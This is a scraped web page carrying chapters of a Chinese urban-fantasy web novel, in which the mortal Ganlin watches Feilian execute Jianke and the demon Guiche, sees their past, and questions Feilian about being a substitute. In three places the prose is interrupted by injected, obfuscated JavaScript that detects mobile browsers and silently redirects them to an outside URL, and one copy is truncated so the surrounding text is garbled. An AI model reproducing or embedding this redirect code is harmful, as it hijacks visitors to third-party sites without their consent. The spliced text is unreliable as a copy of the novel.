长柄眉尖刀在飞廉的手中灵活转了动,残影伴随破空之音,划出一道道风刃,朝着鬼车直逼而去,却在接触到鬼车前与忽然出现的金色灵力短兵相接,悉数被挡了下来。 两种灵力碰撞不仅发出了刺耳的噪音,还形成了巨大的冲击波,向外波及扩散。 甘霖差点被吹飞出去,关键时候一把揪住了承泣的领子。 承泣被他勒得差点窒息,在源源不断地冲击中回头看了他一眼,一把抓住他的胳膊拽回来,塞在了桌子底下,“别出来。” 22.22.爱狐(二二)打得有来有回 甘霖抱着膝盖藏在桌子底下,他猜测飞廉已经和来人打了起来,因为外面不断传出巨大的声音。 幸好座位是石台,这张条桌也跟生根了似的,支在地上一动不动,让他相当有安全感。 过了一会儿,他把头探出桌帘,承泣已经不在了,只有白泽还老神在在地坐在桌前,“大人,情况怎么样?” 白泽笑道,“你出来看,我打个结界,吹不飞你。” 甘霖立刻从桌子底下出来,坐在了白泽身边,“那位是谏珂吗?” “是。”白泽若有所思,“有趣。” “什么有趣?”甘霖看着场中对打的一黑一白两个人影,不解地问。 “虽然飞廉在有意防水,想要从谏珂口中套话,但谏珂居然能和他这么打够三分钟,放在以前,这时绝对不可能的。”白泽解释,“这打得有来有回的,不有趣吗?” “有来有回?” 甘霖看着处刑场,那个谏珂和白泽曾经给他看过的幻象几乎没有任何分别,依然是一个气质典雅的美仙男,但曾经柔和腼腆的眉眼如今却变得阴沉狠戾。 谏珂身上的白色衣袍几乎已经被血给浸透了,但他对面的飞廉连位置都没有挪动一下,只是单纯地在出招而已。 “感觉他都快被飞廉大人打死了,这叫有来有回?” 白泽笑着点头,“谏珂身上的灵力应该不是他的,要不是那些灵力,他在出场的时候就已经死了。” “所以那个给他灵力的人才是真正的幕后黑手吗?”甘霖没想到,一个蛊雕食人案居然会一层一层牵扯出这么多的事情。 “飞廉应该是也发现了这一点,所以才没有立马处决掉谏珂。”白泽道。 飞廉的确发现了这股金色的灵力并非谏珂自己的力量,但也无法得知这股灵力是谁的,“谏珂,是谁帮你杀了山魈放出鬼车的?” 谏珂不说话,他身上的白袍已经破破烂烂,整个人就和刚从锅里捞出来的血豆腐一样,仿佛是一心求死,他没有任何躲避和防守,只是一味的攻击。 飞廉失去了耐心,“既然如此。” 他一手对着谏珂轻轻握拳,谏珂立刻被困在一个法阵之中动弹不得,只有身上的鲜血不断滴滴答答地落下,和下方鬼车黑红的血液融在了一起。 “浪费时间。”飞廉垂眸看向下面,眉尖刀在掌心转了一圈,鬼车的一个巨大翅膀立刻如喷泉一般溅出血幕,然后从翅根处和身体直接离断,掉在了血泊中。 鬼车被断一笔,巨大的痛苦让她仰天长啸,声音振聋发聩。 甘霖吃过这个苦头,赶紧捂耳朵,结果飞廉的结界比他自己的手更快,将他轻轻包裹,声音虽然还听得到,但既没有耳朵疼也没有头疼。 “没想到飞廉这么体贴,打着架呢还不忘照顾下属。”白泽戏谑道。 “主要是上次,鬼车这么嚎了两嗓子我死窍流血,鼓膜破裂,晕了三天,他应该是不想我再带薪睡觉耽误工作吧。”甘霖道。 被飞廉困住的谏珂果然着急了,他竭力大吼,眼底因充血变得通红,五官扭曲变形,神色骇然,“鬼车大人!飞廉,你有什么就冲着我来!所有的一切都是我做的,和鬼车大人没有关系!” “你的灵力是谁给你的,谁帮你杀了山魈,毁了赤霄笼,放出鬼车,你为什么要让蛊雕吃人,最终的目的是什么。”飞廉的眉尖刀变幻出一道巨大的灵力刃,就悬在鬼车的脖颈上,“全都说出来。” 谏珂急得浑身颤抖,牙关紧咬,可却什么也没说。 “是吗。”飞廉语气淡然,“你以为我会手下留情吗?” 说完他没有给谏珂一秒钟反应的机会,风刃干脆利落地斩下了鬼车的一个脑袋,然后把刀刃挪到了仅剩的一个脑袋上,“如果这个也没了,你猜她会不会死?” “飞廉!”谏珂大喊了一声,“你想知道我为什么做这些吗?” 飞廉表情有些无聊,“原因不重要,不过我姑且可以听听。” “如果就像当年的屏翳一样,如果当年屏翳陨落是因为被人所害,难道你不会像我一样做这些事情来为他复仇吗?”谏珂表情苦楚,声带哽咽。 屏翳…… 甘霖总觉得这个名字很耳熟,但一时却记不起是在哪里听人说过,他看向飞廉,却发现飞廉也看向了他,那眼神让他无法用语言形容。 “要遭!”白泽忽然低声骂了一句。 “怎么了?”甘霖不解,还是第一次在向来云淡风轻,慵懒随性的白泽脸上看到这种有些气结的表情。 他话没说完,就听到谏珂忽然开始大喊,声音仿佛用利刃插进喉咙硬生生剖开了每一条肌肉,扯出声带不断地撕扯,迸裂出鲜血和眼泪,痛苦得不似真人。 甘霖汗毛直竖,心情复杂。 在这之前,无论鬼车和谏珂曾经遭受过多大的痛苦,他看待这两人,就是看待违法犯罪的坏蛋,平静客观没什么情绪,硬要说有,也是一些痛恨和气愤,神仙打架凡人遭殃,无论他们遭遇过什么,被蛊雕害死的七个人都是无辜的,他们永远回不来了,他们的家人有生之年也将永远痛苦。 他看着飞廉动手攻击甚至是折磨鬼车的时候,也觉得一命抵一命,这是她应该接受的惩罚。 可此时,他听着谏珂的呐喊,心里莫名一酸,倒不是因为同情,而是好像稍微能感受到当年他们经历的那些痛苦了,无论是谏珂爱的那条九尾狐被杀,还是鬼车为了他犯罪被封,于他而言,应该都是痛苦到不忍回想的事情。 所谓可恨之人必有可怜之处。 谏珂的身体在飞廉控制他的法术光团中伴随他的呐喊不断扭曲纠缠,凝缩成一个仿佛被地狱之火炙烤千年的变形焦尸的模样,然后金光炸裂瞬间舒展,冲破了飞廉的法术! “甘霖!”白泽大喊了一声。 甘霖反应不及,只能眼睁睁看着谏珂瞬间到了他面前,脑子里全是懵逼二字:哎?为什么,怎么朝他过来了,打得好好的,关他何事? 虽然他的大脑反应不及谏珂到达的速度,但好在社畜的本能占了上风,谨记宁可不帮忙也绝不添麻烦的原则,他下意识地伸手,一把薅住了白泽水绿色的头发挡在了自己面前。 电光石火之间,白泽手中出现了一把顶端镶嵌巨大白色菱形水晶的华丽法杖,挡住了谏珂的攻击,而谏珂也彻底错失机会,飞廉的招式随即落在他身上,他惨叫一声,身上绽开数道伤口,喷溅出大量鲜血。 甘霖清晰地看到他伤口下的肌肉和白骨,一条胳膊几乎和身体离断,只剩下一层皮肉相连,他眼睛大睁着,谏珂的一滴血伴随着法术散逸的微光落在了他的眼球上,激得他轻轻抖了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298503|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭上了眼。 “谏珂!你在做什么?”鬼车飘然而至,黑发无风自动,赤红的眼眸像两颗新鲜成熟的醋栗果。 谏珂瘫在地上,脸色比身下的雪还白,他颤抖着手把一个巨大的光团交给鬼车,“大人,求你帮我把这个送去青丘。” “青丘?”鬼车把他半抱起来。 “白泉说若我以全部修为和灵力为聘,就同意阿宝和他们断绝关系,离开青丘,同我在一起。”谏珂身体闪闪烁烁,在原形和人形之间切换,一看便知失去所有修为对他影响极大。 “大人,求你帮我下聘,将此送去青丘,然后接阿宝回来。”谏珂彻底变成了一直颜色如麻雀一般灰粽羽毛带着黑色花纹,双脚赤红的禽鸟,“我和阿宝说好了……要去接她……” 说完这句,他便彻底失去了意识。 鬼车将他抱回殿内放在床榻上,神色复杂地看着他沉默了很久,叫了人进来,“找人将宫内布置起来,喜字贴好,带上丰厚礼物,去请蚕神马头娘,请他做两套喜服,要最好的。” “鬼车大人,这是要?”来人神色不解。 鬼车扯着嘴角勉强笑了笑,“谏珂要迎娶青丘帝姬,咱们不能少了礼数和仪式,加紧去办,我先去青丘提亲。” 之后鬼车便带着谏珂的修为灵力去了青丘,可却并没能够见到谏珂的爱人——如今的青丘之帝白泉的小女儿白宝。 “阿宝仍在闭关中,你先将此放下,十日后再来接阿宝和我青丘的嫁妆。”白泉高高在上道。 青丘乃是四海八荒、三岛十洲外一个特殊的存在,地位极高,饶是鬼车见了白泉也矮几头,谏珂于帝姬白宝确实是高攀。 白泉故意刁难谏珂拿走他修为灵力一事,鬼车本来十分气愤,但为了谏珂她跑了这一趟,也做好了被白泉刁难的准备,没想到白泉态度尚可,也并未多说什么,所以鬼车不疑有他,就先离开了。 十日后,谏珂还未醒来,鬼车已经打算等接了白宝回来若是谏珂还没醒,就渡给他自己的灵力修为助他苏醒,她甚至还在自己的地盘找到了一处仙山秘境,打算送给谏珂和白宝,当做二人以后生活的世外桃源。 她赶去了青丘,却在山外被人拦下,对方言辞激烈,“帝姬尚未出关,陛下命我二人特地在此处等候,让鬼车大人先回去,等帝姬出关,再通知大人前来接人。” 鬼车也是一方部族首领,即使于谋略方面比不上谏珂,但也察觉出了不对,“既然帝姬尚未出关,那至少让我见一见白泉陛下,婚礼还有一些细节需要同陛下商量。” 那两人显然已经提前想好了说辞,没有半分钟犹豫,“陛下说了,一切全交给鬼车大人处置,我青丘对婚礼没有任何要求。” 鬼车笑了笑,色如春花,娇媚异常,“我方如此高攀,白泉陛下竟然还如此不拘小节,可真是太抬举我们了。” 话音刚落,她挥手横劈,黑色的光芒切过二人的身体,两人惨叫一声倒地而死,变成了两只普通的红棕色狐狸。 鬼车冷笑一声,擦拭着羽状刀刃上的血迹,“我也真是被小看了,竟然妄想靠这么两个东西就拦住我的去路。” 她说完就闯进了青丘。 甘霖不知道自己为什么会看到这些,但他已经知道了悲惨的结局,有种想要拦住对方却无法干预的无力感。 23.23.爱狐(二三)飞廉大人把我当替身 “甘霖?甘霖!你发什么愣啊!” 白泽的声音从远处传来,甘霖回神,眼前的那些过去的画面如浓雾一样消散远去了。 “哎?我没晕过去?”甘霖还以为自己又昏了,所以才能像梦到飞廉的过去一样看到谏珂和鬼车曾经的画面。 白泽叹息,“没有,你发了三秒钟的呆,谏珂已经就伏,能不能先放开我的头发。” 甘霖干笑着松手,“抱歉,我本来是想拉你挡一挡,但没来得及,正好头发飘过来了,我就顺势抓住了。” 白泽摸了摸自己的头皮,“无妨,这是明智之举。” 他看着甘霖一脸正色,“小甘霖,你记着,今后再有这种状况,不管身边是谁,拉过来给自己挡刀,一定要优先保证自己的安全,最好连一根汗毛都不要掉。” 虽然甘霖就是这么打算的,“为什么?” “你是凡人嘛,比起我们要脆弱得多,这样不是理所当然吗?”白泽道。 也是,甘霖点了点头,虽然他隐隐觉得不光是这个原因,但也想不到别的理由了。 谏珂已经彻底失去了所有的力气,他身上不属于他的金色灵力在刚才挣脱飞廉控制的时候如灵光乍现一般爆发了一下后彻底耗尽,如今他只能倒在处刑台上鬼车的血泊中,脸色看上去比死人还难看,出气多进气少,显然已经是强弩之末,只等一死了。 他看着昏迷半天的鬼车,塌陷的眼窝中涌出热泪,唇角颤动,说着什么。 甘霖看出那是“对不起”三个字。 飞廉落在他身边,“你不说就算了,要查总能查到的。” 谏珂看他,“飞廉大人,你还没有回答我的问题,若屏翳大人是被人害死,你会杀了凶手帮他报仇吗?” 飞廉没有说话。 甘霖察觉到白泽的神色又紧张起来,“怎么了,难不成这个屏翳的名字是什么不能提的禁忌?” “算是吧。”白泽含混道。 “你说的如果不存在,屏翳是被我害死的。”飞廉终于道。 谏珂嗬嘶嗬嘶地笑起来,口中的血就和喷泉一样,染红了他半张脸,“你说得对,不过凡事总有因果,你要会等到你的因果。” 他转头看向鬼车,“我只是为了报仇,当年的事情我并没有放下,我救出大人,让蛊雕食人,原本就是为了积攒灵力和魂气,等大人彻底恢复力量,我们还要杀回青丘去,最好能灭了青丘,可惜却不知此事归你所管,败露得如此之快。” “凭你就算能勉强杀了山魈,也绝不可能打破赤霄笼,还有你身上的金色灵力,是谁给你的。”飞廉追问。 谏珂的瞳孔一点点散开,光点一点点消失,声音也渐渐微弱,“偶得一法器,里面存了许多上古灵力,便拿来为我所用,并不知法器名字,也不知是何人灵力,我还以为是天道助我……” 他彻底死了,身体变回了一只半人大的花羽赤足鸟,翅膀最后扇动了一下,轻轻搭在了鬼车的鸟喙上,然后散做光点,如秋日的蒲公英一样散去,身死魂消。 “他是妖吧,就这么没了?”甘霖声音涩然,电视上不是演过,就算身体毁灭,灵魂也会永在,像青鸾一样,轮回复生吗? “他勉强承受并动用了远超身体和魂魄的修为灵力,总是要付出代价的。”白泽平静道。 鬼车像是感应到什么,轻轻睁开了眼睛,清透的红色眼眸看着空中散逸的光点流出一行热泪,然后也如谏珂一样彻底消散,只留下铺满处刑台的血泊。 “鬼车自戕了。”白泽道,“问世间情为何物,直教人生死相许,都是痴人,何苦来哉。” “青丘骗了谏珂,虐杀了帝姬白宝,还用他的灵力修为作为媒介,利用白宝痴缠怨恨,投入她的筋骨皮肉和三魂七魄炼化成了一件法器……”甘霖叹息,“若不是这样,鬼车又怎么会犯下滔天大罪,青丘实在过分,就算白泉是白宝的父亲,也不能如此戕害孩子的性命啊。” 刚走到他面前的飞廉和承泣,还有白泽三人听到他的话都有些惊讶。 “你怎么会知道这些?”承泣问。 飞廉伸手擦了擦他的眼角,声音沙哑,“你看到了?” 甘霖看到他指尖一抹红,才发现自己眼角如泪一般流下一道血痕,“可能是因为谏珂的血和灵力。”说完趴在桌子上,“怎么突然这么累。” “废话,无论媒介是什么,窥探别人的记忆总是要消耗力量的,况且你还只是个凡人,没晕过去都算你厉害。”承泣冷声道。 “又不是我自己愿意的。”甘霖懒得搭理他,“这件事就算是结束了吧,谏珂什么都说了,两人也都没了,可以结案了吗?” 飞廉回头,那些前来观刑的神仙妖精已经全都不见了,只剩下处刑台上两个仙官在处理鬼车的血污,“一番说辞,漏洞百出。” “啊?有漏洞吗,我觉得很合理啊?”甘霖不解,一抬头天旋地转差点厥过去,“这是低血糖了吗,我堂堂一米八的汉子……” 一米八的汉子歪在了飞廉劲瘦突出的胯骨上,娇弱无比。 飞廉垂眸看着他有些发白的脸色,抓着他的胳膊将他轻轻从自己身上拉起,“先回去。” 甘霖不知道这样被动窥探别人的记忆到底要消耗什么力量,但他感觉自己好像跑了个全程马拉松,回到房车的时候人间已经是深夜,他腿脚都是软的,强撑着力气换上自己洗得发白的睡衣,窝在被子里就只想舒服地叹气。 “飞廉大人,你说谏珂的说辞漏洞百出是什么意思?”虽然很累,但他脑子里还是在想这件事。 飞廉背对他站在窗前,看着小院子,“他的动机应该是真实的,但所谓偶得神器获得超强灵力绝对是假的。” 甘霖想了想,“是不是因为那个灵力很厉害,能和你一搏,绝对不是随便能够得到的东西?” 飞廉点了点头,若有所思,“能和我一战的人不多,这个灵力甚至胜白泽迦楼罗一筹,若不是谏珂本体实在太弱,今天也不会这么快结束,但我和白泽承泣却完全感受不到这个灵力出自谁。” “连白泽大人都不知道,那确实很奇怪,谏珂在有意隐瞒这个人的身份,或者说他也不知道这个人是谁,只是单纯被利用了?” “嗯。”飞廉回身看他,“别想了,早点休息。” 说完他正要离开,甘霖叫住了他,“飞廉大人,你觉得我表现得怎么样?” 飞廉微微蹙眉,像是不明白他为什么这样问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298504|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我只是一个凡人,我知道自己帮不上什么忙,我对自己的要求就是不要添乱。”甘霖眼神澄澈通透,在床头昏暗的灯光下完美漂亮得像一件艺术品,“我不知道谏珂最后为什么要扑向我,但我觉得不能被他抓到,所以拽了白泽一把。” 想到白泽当时的表情他有点发笑,“白泽也没怪我。” “他自然不敢怪你。”飞廉道,“无论什么情况你都很冷静,没有拖后腿,眼睛也帮上了忙,你做得很好,以后也以保全自己为第一要义。” 甘霖想起什么,笑道,“怪不得第一天和你出去,一起看蛊雕食人的监控视频时,你表情有些讶异,原来是因为我表现得太淡定了。” “无论是蛊雕幻形食人,还是我斩杀鬼车,对于凡人来说,画面都很残忍,并非常人可忍受。” 甘霖叹了口气,笑容带着自嘲的意味,“我也不想这样,其实正常我应该表现得害怕畏惧,甚至是恶心吧,但因为小时候就看过了啊,残忍的画面,所以已经能耐受了。” 飞廉看着他,隐藏在暗中的眼睛带着深刻的心疼,他想安慰一二,可双唇只是抿了抿,什么也没说出来。 甘霖笑着抬眼,看向他,语气出奇地平静,“八岁的时候就看过了,我爸妈被烧成焦炭,黑红交加的尸体,就那样被人抬出来,摆在我面前,痉挛的样子和今天谏珂挣脱你束缚时一模一样。” 他翻身坐起,伸手抓住床边飞廉的手腕,“我的手心很热吧?” 飞廉低头看着握在自己深色皮肤上的雪白玉手,“嗯。” “我都怀疑我自己是不是天生火命。” “什么?!”飞廉倏地抬头,眼神沉痛,不可置信,“你说什么?” 甘霖不明白他为什么忽然激动起来,开玩笑道,“我说我可能天生火命,八岁的时候一场大火就把我家全烧完了,爸妈都葬身火海,只留下一条逃跑的狗,后来我被送进了孤儿院,十四岁的时候,孤儿院也失火了,对我很好的院长婆婆为了救我也死了,我基本上就彻底无家可归了,两场大火把我命都改了,而且我明明身上冷得发抖,手心却总是很烫,这不是天生火命是什么……” “别说了!”飞廉忽然一把反握住了甘霖的手腕。 甘霖仰头看他,笑容纯洁无辜,眼神天真纯良,就好像完全感觉不到飞廉剧烈的感情变化一样,“大人,怎么了?” “你怎么可能天生火命,你绝不可能……”飞廉隐忍克制,声音几乎发抖。 “飞廉大人。”甘霖叫他,平静的眼底深处是不易察觉的冷漠和残忍,如刀刃扎向飞廉的心,“你是把我当成谁的替身了吗?” 飞廉高大的身躯如山颤动,紧绷的肌肉透出黑色的衬衫显出清晰的轮廓,语气是他自己都察觉不到的慌乱,“你说什么?” 甘霖把他的手从自己手腕上扒拉开,揉了揉被捏红的皮肤,笑道:“大人,凡人是弱,不是傻。” “自从我到这里工作以来,白泽,祸斗,迦楼罗,还有承泣,对我模糊暧昧的态度,我怎么可能一点察觉都没有。” 他眼神明明是柔和的,可却如针垫一样,密密实实扎得飞廉无处可逃。 “所以……你们到底把我当成了谁?” 24.24.爱狐(二四)太虚灵宝阁被盗 飞廉最后也没能回答甘霖那个像是用刀划开皮肉剥出骨头一样透彻又犀利的问题。 他什么也没说,甚至没有用走的离开房车,直接原地消失了。 甘霖无所谓地耸耸肩,搓着手腕重新钻进被窝,几乎瞬间就睡着了。 他不是没有猜测过原因,也不是没有想过或许自己也活了几生几世,以前是哪路神仙,但这种事对他来说实在没有意义,过往经历让他能够专注眼前,极快地适应现状,不花时间和精力去考虑没有发生的事情。 开了阴阳眼,那就好好在办事处工作,被人照顾了,也没什么心理负担,如果有一天发现自己身份真的特殊,就到了那天再说。 跨出家门就到单位的感觉简直不要太爽,甘霖走进办公室的时候心情好到表情都比平时灿烂几分,结果发现办公室里两个人脸色都不怎么好看。 “怎么了?这么快就有新工作了还是昨天的案子没结束?”甘霖还以为谏珂的事情结束后好歹能消停几天,做做文书工作之类的,也让他有机会更深入地了解了解神仙驻凡办事处的机构设置。 飞廉不在,丁令威一般是负责和外勤处下辖地仙道士做基础统计和排查监督的工作的,这次事件基本上没参与,闻言只是抬眼看了甘霖一眼,没接话也没打招呼。 孰湖可算是找到倾诉对象了,冲过来双手举起甘霖先转了一圈,然后如丧考妣道,“完了啊,甘霖,出大事了!” “怎么了?”既然这两个人还在这里闲呆着,就说明事情应该还不算紧急,甘霖看了一圈,坐到待客的沙发上,掏出包里刚从食堂买来的包子,递给孰湖两个。 “昨天鬼车处刑的时候,有人闯进了九重天的太虚灵宝阁,偷走了里面的宝贝!”孰湖接过包子像是泄愤一样塞了一大口,“处长都回来了,好几个科室的科长全都去开了会,现在全都上天庭了。” “太虚灵宝阁?那是什么地方,藏宝库?”甘霖看着包子馅半天,也没看出是什么原材料,倒是很好吃。 “差不多吧。” “三界所有的宝贝都在里面?” “那倒没有,天庭有好几个藏宝库,灵宝阁只是其中之一。” “被偷空了,还是被偷走了足以毁灭三界的重要宝贝?” 孰湖摇摇头,“不知道,我偷偷找承泣问了一下,他说灵宝阁的守卫被打死了,只发现里面东西丢了,但还没确定丢了什么,丢了多少。” “承泣居然会告诉你?”甘霖惊讶。 “为什么不能告诉我?”孰湖反问。 “好吧,为什么不能确定,没有名册什么的吗?” “因为太虚灵宝阁是所有藏宝库里最古老的一个,东西最多最杂也最旧,据说年代最近的都至少有三四千年了,可能是太繁杂,所以一直都没有整理出名录。”孰湖解释道。 “都不知道丢了什么,为什么这么紧张?”甘霖拿出南瓜粥插上吸管。 “不管丢的是什么,都是天材地宝或者仙品灵器,万一被用来做坏事,那可是很了不得的,现在世界人口这么多,稍微一点意外都有可能造成很大的人员伤亡。”孰湖眉头紧皱,忧心忡忡道。 “这也是承泣告诉你的?” “你怎么知道?” 甘霖叹了口气,因为你是能这么深思远虑的人啊,“飞廉大人早上来办公室了吗?” “我进门的时候他就在,和往常一样,坐在窗台上看窗外,没几分钟就被叫去开会了,也不知道他什么时候来的。”孰湖眼巴巴地看着甘霖手中的南瓜粥。 应该是一晚上都在办公室,压根没离开吧,或许自从来到这里成为外勤科的科长,飞廉出了外勤就没有离开过办公室。 甘霖把南瓜粥递给孰湖,到茶水台那边打开冰箱,里面的老冰棍果然少了一半,“要是凡人,身上都臭了吧。” “你说什么?” 甘霖摇摇头,“对了孰湖,你之前和我讲过,那个三大自然神,里面有个雨神,叫什么来着?” “屏翳大神吗?” 果然,他就是在孰湖的口中听过这个名字,“你说雨神是盘古大神的一滴泪所化,而雷神和风神,也就是飞廉大人是盘古大神陨落时所化,这么说屏翳要比飞廉大?” “嗯,据说盘古大神陨落时雨神就陪在他身边,盘古大神的最后一口气息,是雨神用法器收集后,又在昆仑以南的高原雪山上以天地灵气点化的。” “飞廉是屏翳养大的?” 孰湖想了想,一口气喝瘪了南瓜粥的杯子,非常满足,“可以这么说吧。” 甘霖摸了摸下巴,本以为是情人,原来是父子吗? 难不成飞廉对他情绪那么奇怪是因为……把他当爹了?! “甘霖,你干嘛笑的那么奇怪?”孰湖看得汗毛直竖。 甘霖摆摆手,“没什么,对了,我坐哪儿?”办公室很大,但没有多余的桌子。 “哦,一会儿后勤会过来布置的。” 孰湖刚说完,就有人敲了两下门然后推门进来了,是一个戴眼镜,墨绿色头发盘起发髻,深色皮肤堪比飞廉,圆脸大眼浓眉,一米五左右,穿着职业裙装的年轻女人,一脸笑意,“你好,我是后勤科的,来布置办公室。” 孰湖熟练地迎上去,“木客姐姐,好久不见。” “好久不见。”木客看向甘霖,“你就是外勤科的新人吧,我来帮你布置你的工位。” 甘霖往后推了推,把地方让开,“劳烦这位可爱的姐姐了。” 他长得漂亮精致,笑容甜美又会说话,特别会哄人,果然木客笑容更甚,“放心,保证让你舒舒服服的,这可是咱们后勤科的宗旨。” 说完她双手掐诀,开始念咒,身体也发出淡淡的绿光,很快柔和的光芒就充满了这间七八十平米左右的办公室。 “这位木客姐姐是神是仙还是妖?”甘霖压低声音问孰湖。 孰湖也配合着放低声音,“都不是,木客姐姐是木精,很会整理收纳,还有些鉴物的本事,是外勤科的副科长。” “精?妖怪精什么的,有什么区别?”对甘霖这么一个凡人来说,什么妖怪妖精都是一样的。 “嗯……”孰湖有些为难地抓抓头,“虽然不能一以概之,不过妖大致都是动物化形的,精基本都是器物和植物,怪是二者恶化而成,基本全是坏蛋。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304110|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘霖点点头,笑着拍了拍他肌肉凸起的肩膀,“你解释得很清楚了,木客是副科长,那正科长是谁?” “天禄神君貔貅大人,不过他和神禽管理科的科长神凤一样,就是个吉祥物。”孰湖一脸八卦道,“祸斗说迦楼罗大人就是因为神凤不管事儿,太忙了,所以才会那么暴躁的。” 两人说话间,木客已经给重新布置好了办公室。 靠窗两两一组四张实木办公桌,他正好和飞廉面对面,他们的旁边靠墙是会客区,多加了一组沙发,茶几也大了些,角落的门是卫生间。 孰湖和丁令威那边则是小厨房和茶水台,冰箱从双门变成了五百多升大容量的四门冰箱,除此以外还增加了很多绿植,墙纸也换成了柔和又漂亮的浅绿色,上面的藤蔓压纹十分精致。 不光如此,就连面积好像都大了些,看着至少有一百平,简直不像是个机关办公室,就像是谁家温馨的书房。 “这太棒了,这别说是办公了,让我天天住在这里我都愿意。”甘霖真心实意道,“木客姐姐真厉害。” 木客圆圆的脸笑起来很喜庆,“我也不过是贯彻优化办公环境的宗旨,以后办公物品或者其他物资有需要,直接发清单给我就可以,我会让人来送,具体流程可以问孰湖。” “好的,谢谢木客姐姐。”孰湖和甘霖送木客离开。 甘霖生平第一次有自己的工位,迫不及待地坐在椅子上感受了一下,木客果然很贴心,不光有棉坐垫,还有护腰靠枕,非常舒服。 他正想着坐在这张桌子前要做些什么工作,办公室里响起了座机的声音。 丁令威接起手边白色的座机,“喂,非正常事件处理科,嗯……好,知道了。” “甘霖,外面有人找你。”挂了电话后,丁令威道。 甘霖惊讶转身,“找我?”他完全想不到谁会打电话到单位来找他,他自己都不知道办公室的电话号码呢。 “谁啊?”他问。 “门房说对方自称是你大学同学,叫季然台。” “然台?”甘霖惊讶起身,在原地站了几秒,“好,我这就下去。” 不过办事处有门房吗?怎么他来的时候完全没看到。 甘霖走出小城堡,穿过停车场,果然在大门外看到一个冻得缩着脖子,脸前呼出一团团白雾的熟悉身影,“然台。” 高大的声音立刻转头,看清甘霖的瞬间就露出了灿若春阳一般温暖的笑容,“阿甘!” 甘霖无奈,“都说了别这么叫我了,你怎么会找到这里来?” 季然台像是没听到他的问题,眼神发亮地打量他,“你过得好不好?” “然台。”甘霖再次叫他,看着他深色皮肤上那双黑亮的眼睛,“回答我的问题,你怎么会找来这里,来干什么?” “想你了呗。”季然台坦然道,一把将甘霖搂进怀里,抱得紧紧的,“你这个没良心的家伙,毕业就搞失踪,我都去你老家的孤儿院找了一趟呢!” 甘霖浑身僵硬,却没有挣脱。 “你们在干什么?” 一个声音在两人旁边响起,甘霖回头。 是飞廉。 25.25.爱狐(二五)曾经的桃花上门了 或许是因为从孰湖那里听说了更多关于飞廉的事情,再加上甘霖对自己身份和屏翳之间关系的猜测,看到飞廉的时候,他产生了一种很微妙的感觉。 就好像父母离婚,母亲带着孩子要改嫁,结果还没和孩子说好,就让孩子撞破了母亲和未来继父奸情,那种微妙的尴尬感。 他用了点劲,一把推开季然台,“大……科长,这是我大学的室友,然台,这是我的领导。”他差点脱口而出大人,忽然想起这个时代称呼别人大人实在是太奇怪了,所以赶紧改口。 “大科长,你好,阿甘多谢你照顾了。”季然台天生自来熟,热情地朝飞廉伸出了手。 飞廉垂眼看了他的手一下,没有动作,“不用。” 季然台也不在意他的态度,收回手重新看向甘霖,“你这个单位这么偏僻,我还以为你被骗到哪个黑工厂了呢,没想到看上去还挺正经的嘛,特殊事件应对处,干什么的?” 正经?这种和鬼屋副本一样的破烂小城堡怎么会正经? 甘霖转头,惊讶出了“呐喊”表情包,“这哪?” 入目哪里还有鬼屋城堡,就是一栋灰色的,比小城堡大好几倍的,普通正经又古板的四层机关大楼的模样,大门也很正经,挂着“特殊事件应对处”的牌子,旁边居然真的有个门房,里面还坐着一位六十岁左右头发花白的陌生老头,正笑眯眯地看着他们。 “嗯?”季然台发出疑问,“这不是你工作的单位吗?” “啊,对啊,呵呵。”甘霖赶紧找补,“工作时间不长,还有点陌生,好了,我还忙呢,周末咱再约,你先回去吧。” “我才刚来……”季然台不情不愿地说,他还想和甘霖再说会儿话,不想这么快就回去,“我不能进去看看吗?” “可以请他进去。”飞廉看了两人一眼,扔下这句话先进门了。 可以吗?甘霖很忐忑,不光是飞廉的态度比平日里更冰冷,关键是这里面工作的可没有一个凡人啊,要是不小心遇到牛头人啊或者白泽那样不用腿走路就喜欢在半空中飘来飘去的同事,他要怎么解释? 他还没想好,季然台已经毫不客气地走进去了,“阿甘,快来,你们领导都说可以了。” 甘霖只能跟上,然后自我安慰,既然外面的样子都变了,说明这里有一套专门应对来访凡人的系统,里面应该也是安全的,没什么不能让凡人看的吧。 两人走进大楼,里面果然也完全是一副机关单位的样子,克制简约,没有多余的装饰,不锈钢的金属扶手和大理石的瓷砖地板,都被擦得干净反光,正门斜对面还有贴着“整容镜”三个红字的一面大镜子! “里面也没什么特别的嘛。”季然台左右看了看。 “本来就没什么特别的,就是个普通的单位,你要觉得无聊就先回去吧。” 甘霖刚说完,背后传来熟悉的声音,“小甘霖。” 糟了,是飘来飘去的白泽! 甘霖刚要阻止,季然台听到这个亲昵的称呼,已经立刻转头看过去了,“这位是?” 